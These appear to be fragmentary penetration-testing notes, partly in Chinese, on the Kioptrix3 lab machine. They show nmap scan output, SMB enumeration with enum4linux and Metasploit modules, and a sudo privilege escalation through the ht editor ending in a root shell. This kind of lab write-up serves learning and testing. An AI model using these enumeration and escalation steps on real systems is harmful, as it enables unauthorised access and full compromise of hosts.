PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0) | ssh-hostkey: | 1024 30:e3:f6:dc:2e:22:5d:17:ac:46:02:39:ad:71:cb:49 (DSA) |_ 2048 9a:82:e6:96:e4:7e:d6:a6:d7:45:44:cb:19:aa:ec:dd (RSA) 80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch) | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set |_http-title: Ligoat Security - Got Goat? Security ... |_http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch MAC Address: 00:0C:29:9F:D9:FA (VMware) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 2.6.X OS CPE: cpe:/o:linux:linux_kernel:2.6 OS details: Linux 2.6.9 - 2.6.33 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 8.67 seconds
枚举
SMB 枚举
Port: 139 389 445 636
enum4linux -a/-A 127.0.0.1
1
$ enum4linux -A <ip>
MSF-SMB
1 2 3 4 5 6
# 基于SMB协议扫描版本号 msf6 > use auxiliary/scanner/smb/smb_version # 扫描共享文件 msf6 > use auxiliary/scanner/smb/smb_enumshares # 基于SMB进行用户信息枚举 msf6 > use auxiliary/scanner/smb/smb_lookupsid
Web
HTTP Web Server, Port Like: 80 443 81 8080 8443 4443 8081
┌──(root㉿kali)-[/opt/vulnhub/0x03] └─# ssh dreg@192.168.150.129 Unable to negotiate with 192.168.150.129 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss # 这个错误是由于SSH客户端与SSH服务器之间的密钥类型不匹配导致的。根据错误提示,服务器提供的密钥类型是ssh-rsa和ssh-dss,但客户端无法与之匹配,并且OpenSSH 7.0 版本之后已经删除了ssh-dss,默认不再支持它
For more information, see: http://www.trapkit.de/tools/checksec.html # 感觉没啥用
4. loneferret@Kioptrix3:~$ sudo -l User loneferret may run the following commands on this host: (root) NOPASSWD: !/usr/bin/su (root) NOPASSWD: /usr/local/bin/ht # sudo发现了ht编辑器似乎可以提权
loneferret@Kioptrix3:~$ sudo -l User loneferret may run the following commands on this host: (root) NOPASSWD: !/usr/bin/su (root) NOPASSWD: /usr/local/bin/ht (root) NOPASSWD: /bin/bash loneferret@Kioptrix3:~$ sudo bash root@Kioptrix3:~# id uid=0(root) gid=0(root) groups=0(root) root@Kioptrix3:~# whoami root